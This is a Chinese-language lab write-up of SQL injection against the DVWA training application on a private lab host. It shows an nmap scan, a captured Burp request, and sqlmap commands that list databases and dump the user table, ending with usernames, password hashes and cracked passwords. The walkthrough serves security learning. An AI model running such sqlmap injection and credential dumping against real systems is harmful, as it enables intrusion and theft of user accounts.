

報告SQL

資訊收集

```
$ nmap 192.168.236.147 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 04:03 EDT
Nmap scan report for 192.168.236.147
Host is up (0.00015s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
80/tcp    open  http           Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
443/tcp   open  ssl/http       Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql          MySQL 5.5.5-10.4.32-MariaDB
5357/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds
```

發現80 端口開啟 系統為Windows

偵查

點擊SQL injection

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

DVWA Security

Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It's used as an example of how web application vulnerabilities manifest through bad coding practices as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices**, which the developer has tried but failed to secure an application. It also acts as a challenge to users to learn exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative practices** to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the source code to the secure source code.
Prior to DVWA v1.9, this level was known as 'high'.

Low

Submit

Security level set to low

嘗試輸入1並送出

Vulnerability: SQL Injection

User ID: 1

Submit

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_Injection
- <https://bobby-tables.com/>

發現似乎有向SQL送指令


Vulnerability: SQL Injection

User ID:

ID: 1
First name: admin
Surname: admin

漏洞利用

嘗試輸入1 並送出



ne

tructions

up / Reset DB

ite Force

nmand Injection

RF

Inclusion

Upload

ecure CAPTCHA

Vulnerability: SQL Injection

User ID:

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>

使用Burp suite 攔截封包

```
POST /DWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.236.147
Cookie: _octo=GH1.1.236938250.1711419255; security=medium;
PHPSESSID=ul74ih1cc5g7isrt2vf782c3kk
Content-Length: 18
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://192.168.236.147
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch
ange;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.236.147/DWA/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

id=1&Submit=Submit
```

發現用POST傳東西

嘗試使用SQLmap 注入

指令:

```
sqlmap -u "https://192.168.236.147/DVWA/vulnerabilities/sqli/#" --cookie="
security=medium; PHPSESSID=ul74ih1cc5g7isrt2vf782c3kk" --
data="id=1&Submit=Submit" -dbs -batch
```

```
(kali@kali)~$ sqlmap -u "https://192.168.236.147/DVWA/vulnerabilities/sqli/#" --cookie=" security=medium; PH
PSESSID=ul74ih1cc5g7isrt2vf782c3kk" --data="id=1&Submit=Submit" -batch -dbs
```

發現資料庫名

```
[05:02:31] [INFO] Fetching database names
available databases [3]:
[*] dvwa
[*] information_schema
[*] test
```

嘗試查看DVWA SQL內容

指令:

```
sqlmap -u "https://192.168.236.147/DVWA/vulnerabilities/sqli/#" --cookie="
security=medium; PHPSESSID=ul74ih1cc5g7isrt2vf782c3kk" --
data="id=1&Submit=Submit" --dump -batch -D dvwa
```

```
$ sqlmap -u "https://192.168.236.147/DVWA/vulnerabilities/sqli/#" --cookie=" security=medium; PHPSESSID=ul74ih1cc5g7isrt2vf782c3kk" --data="id=1&Submit=Submit" --dump -batch -D dvwa
```

發現機敏資料

	user_id	user	avatar	password
1	admin	/DVWA/hackable/users/admin.jpg	5F4DCC3B5AA765D61D8327DEB882CF9	(password)
2	gordonb	/DVWA/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e0	(abc123)
3	1337	/DVWA/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216	(charley)
4	pablo	/DVWA/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b	(letmein)
5	smithy	/DVWA/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf9	(password)